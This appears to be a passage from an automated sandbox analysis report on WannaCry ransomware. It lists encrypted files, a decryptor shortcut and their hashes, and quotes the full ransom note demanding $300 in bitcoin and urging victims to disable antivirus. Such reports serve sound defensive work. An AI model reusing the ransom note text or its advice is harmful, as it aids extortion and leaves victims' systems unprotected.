                                                                                                                        SHA-256:8EA58F3B13A3F5C6CB22A8A4CB09CF6344868B4AFFDF2A3B55991BB53AD6223A
                                                                                                                        SHA-512:02D92EE601690BF3386BF29BF67986751284AD25576762E1ED6A997EFD3F503278DACF751F54A0C88E9E6414EE28A2E0356CBE3F060D577BB351626595630DFC
                                                                                                                        Malicious:false
                                                                                                                        Preview:...V.a.{].L#.J)./g.jd.W.1..`.=\..3|........M*..v.k..H/..t..Z.:t.t...d..sF...6....,.X........v,U..L<..D]e...6..m..=,r..^.x.C.J.........R.B.Y|...B}.%...\.C....I/M.W..b>6.... r.....l...{,.R...>......"%..R.&.(.......w...5..*.v..H.....#`....,.A.i]......tEL..>...........~e.26...k%&S..D.r.y..}..U..L...\.}yM...9..9..BQ....J..X.].4...@h.4.n'.X...lo...z.o............M.S.<V......QS0..Q.:....A..5...f[...N...\%..m.J.3.y..2.~nX....\#...X.Xx.....aV).z$..FmY...`.ms.Y[2.....)..F.{U.......W...........m9..}i...k&..!....`../~....zT....?A}..p...../.........D}n...9.[...W.k.f.7.>.2.*..~.UM.....(..-.z.ar..M........"eH(.....B.P...vW...^t..tf].....=:f...7.;...=Qh.N....7~..q....._..]@R.y_.s:..${;.......lI..TP..."..pp+....$..b...A...s.X..&5.L..*..~Z.[.%.2t. ...>V4.....B.N!..*..Hs..;.d....c......_)......W.2=*;.[....Pq..k..O.01.`...).H...#/u.}......%..lC.......d.k.R?.........|E.%....h#..m$.K....V.F..k.jd......g&6..?.I...7J.].+HM";.rV.s..`........$d.[..z.....8.|P3

                                                                                                                        C:\Users\user\AppData\Local\Temp\71.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.773753853569275
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:jcchgQShTb9fMtnuhAyEMenMjJzYpvMcL5JL0lkdEZIJFAMZMYc+TjHDq1BeI:jVgtv9Utn2rExHpXL06mOAMZM1WyeI
                                                                                                                        MD5:12BEFAE695E7CC03CFF2EB07BDF7E7E2
                                                                                                                        SHA1:0CFA6A41B663E3F8AEBB318C49ED78DF63DBD6B6
                                                                                                                        SHA-256:EB3D1B4F17CAF326C0F36B45966C3C34CD40DCE35C2A618F4C95AB1E6134ED64
                                                                                                                        SHA-512:EBC65E6C4D807C475A225006120DFE01773713C25C0AADD40D34A2046FB4A80041A08BA2A404187D4A1DC49614758F5A1E444F3B90CD45CB8A0D4115F72DA462
                                                                                                                        Malicious:false
                                                                                                                        Preview:^...x.<.-.xP*.....b..2..t......Y....T......y..8.*.....w,.H5.u4cO.+....T.>..@....G...{D.<.Z..O=.0....0^....J..MR.....Q..lc6..n......t.tZ.f..`......X..vm~.m..*..g....t&......N.?.c.".&..[...$#.`(....pe..X..Q...._.). k......mj....V..*a..F........YL..H...;C.G#c1.j.qE.@..xj.K.u.uwl..]...9X.y..I..g}......&..|w%.mBC]......Z]...q....U2..".k.........K.Tb[.... V:..}&C.nrF..,tJ.e..#e.....mK..N..K.+o..:.2..hK$....9...;.....yF.G....N/.*7m.....R.)_.;...a..P..W.^...I*UMR.7...w6(..]....V:.._.(.Cj..7..6U..K..!I...nC....F.a......h%6k..D.C?..F#7lHq........8.3....#>.aL...6.... b.....7.$.....U.`'y..J..>T..M.!.#c.........4p.....J.l..H...,...W...!.D.*!X.7;e...Dh.zJ.........?^..#.@T.......z...t......'G.p.)..X.5....XS..5(....IQ..g...a .=A..5.g....Rn.!.Y..J.....;..][.f.P.F.....f.^p.J.#...,)z.0?.!i.9...M.c.W.p.E.......Q......FT........!w.V}.fdw..{...|..b......L.#qT..F....hn...y;...f..I....$...*.M.....a+...'..9^x.....dE&.[.5cmP.U...j.@.B..uV...K...x.....y..H.....

                                                                                                                        C:\Users\user\AppData\Local\Temp\8.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:OpenPGP Secret Key Version 3
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.810215003088058
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:FpgcgmuG0MT0EpZTuUwdLTB9cGNYuaoAHFX8Rzvf0nHe0I19oG:Fpgj7AZC3nBOGNYHLHFozveHe0IgG
                                                                                                                        MD5:F377FC8DF1F16F478EEBBAB6F46D0E63
                                                                                                                        SHA1:5DE58E7D8446E3F1BDE1B72584E371065E817722
                                                                                                                        SHA-256:7E9081479392B6C1CF4590DE328FDEC466F97969E678C7A35B8215433BA81215
                                                                                                                        SHA-512:318BC0E4E9E0A26CAA751C92E33ABB8DE81B7B915529310FF4EF3CEEC0C7D768996766D485807448FFB828E7FA4B22530E9147F5C3216548401674C12C60BFF3
                                                                                                                        Malicious:false
                                                                                                                        Preview:.`.... ..{oy.$Xe..U\6<..uUm:.b.D[..5\..n..ii.[..Y270.Z..4.G^p+.NJ.&K.....B:.@h.K.K.R.d.g...'.p.Z.....[....bk[.n..r8......j.W..H(x....,.2RT..8.G.4..Z-....M..f. z..y.......b#...2..-_.gi.a@.........o.k...c......W..u....2,..w.Y.....S}..Ao;...<.F...]..q.O.z.-\.).I.}X...maS.K..IS(.I-.r.?...i..@@..o.:.......8..........n?#....0!...v..........$..r......6.<.....&r..ct....:......`h.U.......%5...A.e..L...xC/..I..q9_..?.syIJg.).."%Q.H.N.S.]-.l..:..M#.A._..s..H..px...H.7?R|..\.#.a......%....F.Fa..j..\.`.u.+..d..a...! '..K.n.h..h./......e...f.Pj...O...Ap .ed.......WT.T+.~.O..a.C%.qD'hW....sv.....V.1...A^.. .D..{...xD%...w.1.hS.. Y...............u...O..P..2..lX..0st..,...,a.+..b.,.x..m.n.......4..t.....Fw....n;h....JZ\....mM......>....../K.,....\..F...NP5.......)vN,..Q...i.....6...N.Oy.K&{...a.h..."{..6.*....G..U...W....."..h..5.....]..~..........b..h.J.-n.._..K...=....t.$.....X.%....;Y....e.......5.!5U..E..W.9\j.,^.W.^.j..(..a0......<fK...YWD.....k_

                                                                                                                        C:\Users\user\AppData\Local\Temp\9.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821478486226599
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:4EJ/IriUyzYT09YmVEh1quyjLMeLru1axO:rFNUyzYT09BEhK/VLoN
                                                                                                                        MD5:B0F7194ACC6046231AC9E875D4154789
                                                                                                                        SHA1:72838C75DEBEF7E20BD89EA5C3BFB7BF30DD794F
                                                                                                                        SHA-256:CA996F4E91C9BB222FBEF15C08F001BD07E4601B6733B6CFE5A3B133A43DB7C8
                                                                                                                        SHA-512:CE8BE2029579C725715230C28B281AAAE8A01E7883F6DF874B5148ED117B9D13D24E6DC400019625FC875F930E6FB13C2A62D1C8625C304CE8BE83B2A5E4B346
                                                                                                                        Malicious:false
                                                                                                                        Preview:.........k..........>N...>....z>..8..D.=Vkj.N...k.A.|...j8.l..q....u|.....4>.... !.@.s.}...lLc.../.r.....=.s$..x.....dM'....9%..vr+.s......EN..bP.s..{...W..d.{...V(..5..S..3.P..K._.m.Q/.Y..N.>n...@P>.3.^6.H..v..........zM{1W..(R$.]..F)..P........dP.i}.=..pe...\[).x.K.p.E;Ng.....9.l./.m%.0..Sp..O.B....D.w=.#R....4........3c7....K>...x..e......|.>.\#msbQ#.8....M..m>..k....?..7...L8.3..P...hC....Z.v...5 .e...{X..P...........6...eD.t.D.e..r9...n..>_.zo.\...|.V..6.3..K..&....T1)...>..$...-@$....G.....Z+...o...4.v...}...w....D.....E.7...9Q_.O@....../._...C..)*..I....cb...}....o..^.^.&.|Q..~.....l...TN.AF..%..I{4.4kF...Wt{.i.<.dM ...7T..G...r......B..........6.m.vrtU1....x....+3..g.z~.m.wd.|.]....&...YBC}..........j..._..V....(..u.*.X......U.[.U~.:....).....^.j.U.}y.J..4..a..R#..+F...o<.@.-...m...X..+.....U..v;fwj.....M..2.RY.._8>(.Y.^.n...`..V..y.Z..ea..!.1o'D.f..3..C...a.wY7......fV..T.....h....)..o...gp........].c.S.w....l...j..4..

                                                                                                                        C:\Users\user\AppData\Local\Temp\Symbols\pingme.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):280
                                                                                                                        Entropy (8bit):7.104118420711604
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkER4i6aHrcfrFxb3afgy1JRqvJjRX9e+xIwVq+WsBIA1sD:bkEqi6aHrsFx2g+WR19e+xIwVq+zS8sD
                                                                                                                        MD5:5225F5F2780833EC7BFC8C3BA3B2F85E
                                                                                                                        SHA1:88533BA3DA35681212EC8A55B4D25DC9A0104C8A
                                                                                                                        SHA-256:38A83DE4E5D4D4D297EED6E8CC44F4182DBFD2C93C3F59AC464CF3D0EE598D1E
                                                                                                                        SHA-512:3654405CCA66208A264CAAF00052B756B79093B5D378143ED26EB6D420C549DA3807BF2FB4CA898935E572C8447646C9E6F5BECE12115A705AABCFF5D6C8291E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....y\ f..#.:.#..xe.......D'.D.=...]j!....*..h.K.#K.`4...k.~.M'.".%......yg....>.....g.......H..E"...,.DA..A...Gx..f.....n.W......h.[.......:A..).P.b..B3.8b.g1.........N..{X.x)"..%.......>...0q.j.....E..Kr.......bF...^..K.|...r..'@.f.........'9..9<.F5Y.IJ(............

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):52120
                                                                                                                        Entropy (8bit):7.996634040515576
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:+vuzrsU4fzgIadJw+daUafpf6xZZaZu9QXJoh22YEQ2KtkT9+90NovyaBu0EJUY0:DEfzgIa8hfSPyJJ2j0mTg9PoJRs9mo
                                                                                                                        MD5:8D191D79B54814E85A186004E2F1F49B
                                                                                                                        SHA1:B6F72007A26F40346D5F38733FE2C4B4C4247087
                                                                                                                        SHA-256:2A6E55182B1CF93647871E1376A126696E467D6C005B7D7B69D31B48B85039C7
                                                                                                                        SHA-512:D1153C657B2A65C5F1126C2FB16BE7B079F7F970E9B1370BE94396F6DE3E4A8E58BF4494A02CB2D8DCCA29F296356D6CB54E5AEC66542601F0239578108E43EF
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.........Y.O_4o6...'.4.8..V..^...T..8zq2....;y.1..&.#aM.Z....(..'?.R.xwC,mv.....2.u...'..s.G.C*O.fuMy)..G...x.j..LL..`t.Ye.0l.v/........r.....p..>^.+9....j....jA,.7/x.k..2M...'"..%...Z....+PO.4.Ch..M.Qrk[..p......7'].(..t.:..DEt..R%nd.@_..).g.....V.&....r........J8jW.M.g8..b..$.^D...@.I....T...k._...b.&O.*.'........#....H.N..lU.I,p.....v. .....'.wK.....L...~UFh#f.#.bTr5,.m)....m.)..*8.....G..>.%m%...z.`.....6N../Hv..w..j.JVY...r.).R.q2......_../...)Qb.@...g.d}.#...9f..g.^k....u........AL1h...A.....oJ...G|...~.......K.?."...zK.}H.z.*..f...3..XG...J...*.Q.._...9../........:..U..~q.k.I.xXo..Gl...Gp....>#................J.Eo..2mt..B\...x1......5.?8.Z(..o5@....&.f..........4..9.1c.......P.....P).!v..zD.ko._?.../...1o..oK...aM../.Q.....+.......;Y;n.y....G..9...|*.o.T@.....'......6...`zX'..[........%.b.1..4._.e.4.6..{/|x.N...9...B3..b~..P... C&ny.m.Ku.yd..z.t..+..R}M..+t...S....>...F.X}.....5.. .k.S.q.....0..e..G_EPa..I.....[-p...$,..

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47576
                                                                                                                        Entropy (8bit):7.996197849946979
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:H4JPPWZMHjoCeVPVaGGhSqRnRmhsd23JNxjkckqGohomwejuxQxUNe3w3UNJyx51:rmDoff2LFIhsWQck3ohdHuNe30UNm5VX
                                                                                                                        MD5:EF33EAF77DB9E55BBC619480209754BB
                                                                                                                        SHA1:E43711F95C0ACABA1D5BD6BD370E828E3134CBC8
                                                                                                                        SHA-256:615EB26D8F2D6DFF66953A6FB286B961912C7B0AB31880B6B936EA65E21761D7
                                                                                                                        SHA-512:08A78A77EC4A5EC51AD23912945345649D3AB47F256B4C65E8E515C2C1E424465927166D403445CC8D594C485483C075A2479F5040568EF39FC8DB5682056D95
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......=s9i5.4.......nI..#........_ .({\.s.....L*.1|.FS,Z.<.kRx..)f.c[Yn...d.jxrL..Qq/j..zD.....z.OD.^.F.0t.4...+..\....j.......>|.j........B.BD..=.{e`#.g...pr{.c..$.x..x.w..c' ..SM.-d7...U....*.G...uU%...j..\D@.lh*5#_.~U.ON.0....S......@...#|.....T."..:..!I..............J..y.".=.B[..v.....~..f....%...n,...}...LzH..Q.-.w+..qgd....R....B.G.y7..-.K...I.a.|...[y!I.....JX%..kO. ./..o..kZw`....G. ^;E._.h?.C.f..c..........O.](.{+......)>...0x1.K6M.*.x..d.3#8bj90B..i..z..5.......i......>.G.7...........).K.Q..[.{.D.?.T...=Z.h....f.;5.H..:.U....).Q!.T...a.-.@..Q-..}c4\A.._...g..p....8;..#..n...7..}c.^w..r]..$>.=|1....SN.z..3.G .......Kp7.9.b.\.o1E.:.I...Bt......iKU.0......8.eY.<..9]I.>....)N6..F]...MJ.r......4.\.../...pN.%......:>@.r..61.8Hs...6|..C...}Q...zS``....~wG.=.w4..J...zkgT...o.)....&..f.s..A..a..9.....L+\>?.x.U.rQ....,...V. V;.I.1!j$..C...L.D......`[.B\P...o..@C...C.P.*..i..y..B.l.p..0?...)s.).5....g.+.../........YmMW@.HF....K.?w>v....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):34696
                                                                                                                        Entropy (8bit):7.994230408214967
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:iHuMdlJHuECN6X0cT/SHcqwe7InKvn6nNG6ch7kJE/Q2hN6:iHuUjT6wnUnwNNyp/3T6
                                                                                                                        MD5:842896C3DB8E6DDE56237E92ADC0B44F
                                                                                                                        SHA1:896642FF01BDC64CFD0546444D05B3584D26209A
                                                                                                                        SHA-256:3BB142A5539F227B7F2BC2D1F49DE922B8E918CFB62C822A1A8675FBDE777208
                                                                                                                        SHA-512:5614912E1CDE71D56B35E73699ACF262ED299B1BEA43BF9D480B99625C163E512ABDA14372AD322365D69EA75A24AF7B75102750CD6EBB69B056848CC8A9A604
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....3..2....[....T.t......h..._...V....E`"m....2..k%.Y..p...[.vf............%.q...[B..n...i......u?..J.kB&..#.....E..U..$}..%N..&x..E47.?.*.$6.2)..b...N....(.... ...V...D..J.}.=.[^......L.j.._..Mh\.i.8....4w.ro..8T..5!....y..KC..V....l4...|......o.........fyw........ ..#.<....3..E......?u.t....d........$.#(Yr....BO......hg..\.....60..F*M.F...[:.|B1....A..~..wN.O.....p-.q$ "....;.(P.... .........q..zq....{.w.gQ...6C.X..p...,(`cy..{yH......@J.P#).......3Sm../.....|.O.8.iD..... 6....].u...=......NRX..+.K.V...8...r.P..P..h.....<..y)yk.N....}.2.(...PT.y.}.r...R1.v....<<..^.'E..4{).7...)...|....T..(....Ml.@.G..V..[....t~%..aI...)..2.~.Px. C.t.R..@)v....ZG....9.S.X...v.6z......@IE....H..xLi...O..1$_....s...6.K...9v.CG...!...p....Q.\.p..$...hj5:...{..P...w......8.5...@...g4.....9.l.Akv.8...........s..&.R.(2).0CE.dG...-..<.8../.P.e..)..#..a7...[..;\.Yf.6k?..q....4..aEX.]\..._#.P>(...v.w...B.j`df.m.0.U.HK.7..w..a........+z8.aY.7..'5.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3465368
                                                                                                                        Entropy (8bit):7.999947572467441
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:98304:wJS973ybzKOSQWzsAKAydR9w5jyTuZ9DfPt:X973ybzKOsRc9wlXZhf1
                                                                                                                        MD5:9FCD1765566763C946F2588F857A7C3E
                                                                                                                        SHA1:C705CBA5F6907DDFE2A4DA4ECA08D801C3CCCF7C
                                                                                                                        SHA-256:5B31DC98D15F1F2D86EC71F97CC1D3FB2E541EDCD981B5F1113810E6BD39ED1E
                                                                                                                        SHA-512:420CA8F041B9FD9747BD89D8B57F6FC56FCB78B5A9FCCD2829CB3C2E2D9DC6D1BC358DF27A08DC179A5353FBED500D7C7525CA718BDAEDE912077AE9C2B0B61F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......,l..98T....pF....&F.>.(c..~...}.4.D>C.J..k......I.........l.a.ZK[Z..tc.j.........v...U..H.b.M0..#.x..>D..Y..}.c.Gv..O... `g.i...!....*Xy...Q...G.w..C7D.....j..h.|....tv^.....*3p.c.Zkn.*..>3.VM.7...u.da.d..Y..'.<....04..l..M.Y(....H...u........t.4.......E8.n.x-..{;..W..b~.R..H...~............!.....8..b.!..}G$.y..9...).F..p.]..2........e.Ldk~....b..on.~.^...R.....H.p..2"=..`i..$....{.....}yw......6.+._. 1........\.. M...o!TU&`..t;.......;..ax .t.|Ho.2.J...b8....5..gip.b20uKE....`....t.s.q.u?.(..!*...Yp..#fX..b.....S.$L.x.LJ4.F.^..x.$...o.t.x../...H....9.8?......%....*R.?E.8.x..g.4.......y.u.d].9R..%.E..R.o.n...O....m.....R#X.e.U.<e...F.......M...........+..5...&l.p..["G.e*/W..s..'P<\.)..........W......z.)h....FL[.mf..H.....{.N........:...#...-V4. .........{^..H.(m.6.l....x_....F...k.-..;....x`V..d/}...*iH.'Y..fa...m..Z.\..................Gh.8s.i..Qb...<1_.U.2.y...{m..5.v...)...(.XdU}B4..K&.oQ....QD.,...%m..-...o.E.\ ..|.K].

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):19560
                                                                                                                        Entropy (8bit):7.991705116895216
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:0hZWF0aX5Ycli5l48v7ZHUoCl27GGm3T7TuHscCygZB:ejUd8j3o27GGm3T7TuMNB
                                                                                                                        MD5:1ED83DD1CF617BF9335A7C45B70FF8BF
                                                                                                                        SHA1:067D7DD8FE95AD0F54AB456CA95D5F8AD3415CB2
                                                                                                                        SHA-256:0491E933EE33E11CAA067EC78833D928F457BF3520365289374D62ADA588124A
                                                                                                                        SHA-512:F20D06A43DC6AD3217185F7D38633241C4B1F345202F4CAC4B15E9BDC65D06C84D6FAB3C9C716AB3B621366A6F2AC6DF6531A864857A7EED63EB948DB67CD11B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......Z.M.....*...z....9..#...`./.I...x..=B...?b.h..3.b.X.....?..8v.%.... .wZw.....i.......%........J...C.N./e.6.-...:.F8...,_.R.Y%...wq..V?.../..........z']x......B.+%..t....7'.3.,...DK.zU.......T.t`.75MF.h..{.......`..I.G..T...Q.....4v.{...Pr.....GK..........%...Gs.2.7.@.......7..`.S./.3....>.(H..3.k.%.W.~.........p.U..L..&o$7K..g!..a...W:...W...j...@fe.6d....&L..E.W....2.M........`y.X.`.!D......!....$..v.......u'5..P..jq....Gm^.R...f{..<....QK...J#.....N..$.6....Gb8....&.`j.LPB.?E.....psX^`..|.{.C.rz.Mt..&^6..............$.%T.N_Z..BER_zL.1'.7j.\].H(6......?T.L[...S.. .h..0,u...dE..).....1.Y$...<sN....Fe.......(ce...9MD....I.1P..A.*...y5Z'......\-G"R..t.x...{.D...G...N.y.A-..<Q.ei.:...._>V(.c}....".9.!52..g&....C6..[.[.f.R.q4.;~.:e.H..z.[:...|.z..4.....s.Vu.&.]..I1@......-..r<F.ln...jKzK....u..n...RKF,....3.@.........05[...$......w....ON.z...k.oP.I....JD./TP9.5.^..}..7....hz....f%....:........i5........T...@...>V6.5O..

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.809857229578787
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk7ALrnnS8FO0Vq1kYrMSkegpGKIDsJ28V8yPHuAhEDMs0IEFU:bkkS8j41kYPkesnIDD2XHuO+DZEFU
                                                                                                                        MD5:819307C7579C92CD7AE6F7240182BD72
                                                                                                                        SHA1:75A1A996FDC4857EF4A6555ABCD145B77E92F316
                                                                                                                        SHA-256:0E53D95B4D8E2506E6B9BBDDAC7D48222BCA17B13A1A91742291A5532E37C044
                                                                                                                        SHA-512:355899FBAA41646CB61D1CFAD7B9A178BAFB0447B2E1ACB8237EAF8381156C0A05CB444AB4244003303770F8C16941B868E99FC6F15511BBD23E656175FEF12A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....U+6..%.R!-.W3.8.....y[D.pqJ...7.].QJ..{IM.Rk..X.<..~.*k^..^..|LW.)..a..t.9-.6..\.......).G.xM...)_$.kX..,.M.A...9.3-u.\.N..=..T....xN.C4.....Ua.8>..6.I.n4[E.?..yX.4......mc.SCXGY8/C.....'.....o.p..l.&3..z.8..-.s......;n.f.wraDo.......U..Cm...S..B...............a......g..c.4%....k6.+..r....\..y.....k..M.[..98...V+.4.w_{z.Y.\O.....J..k.9.........%..>.k3$.q.]../j.(.......K\..5....{Y.>...H.......c...2..Bx..C..XK.N...:..r.x.&j<S!.p6...{.M....*..m.|.%F.....Q..O.SO.b_..G...N.J...mf../....1.....>...4w5....{2.xT...cm....k./..^.-...i.=l+.....j...5..#.....-..H+I........k.......?`,.Fk..>d.E2..J".....M..u.:w(,..[y..[._...-...+_*.!wM.jU{....Id. LY.;.M....6...)..@..P.y/.........iR.I..[..|.:...AH....F!b`..5.6....C../....J/..Y)..q..y..6L8;f-.%a.......b.D..)N..U...).z.(.W..R\.i.|.8.'....e.%y.s.......0o.m.s.>HP.).C:...(...p29I.^O...#.o...c.....\@M3....rz....I.K......h.H#wC........o.M.h.S<>i.....%1.M....=....Eb..(_.}K...f...boe."..%.......D..U....E M

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ATJBEMHSSB.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.813821145134839
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk5rlp0FR9Htzk1w8zNS40RsS3LaZMrpPZ0paOZG7rxjClOG4tiUBo88gyusCG:bk5rMVK1vNS4g2ZMrpPZQulC0GjUTyx
                                                                                                                        MD5:7D059176ADD4D05B3A990363B76B27B4
                                                                                                                        SHA1:825D63D5FDDC23CEEFFFBE52EF70953619FFCE66
                                                                                                                        SHA-256:358D6527FDEEFB0F68F326D862C6C7DEB28FAA2F257D2DFA7D0D3D46340F4C19
                                                                                                                        SHA-512:19967AC089F92AEB79D436D4C42BC9A4DE5536EEF6F81B1696CD4B762B851CE18022BA662DDDA325253BAA37BF62CA556B7681CDF3CC9E9C34629C57DEC7E969
                                                                                                                        Malicious:false
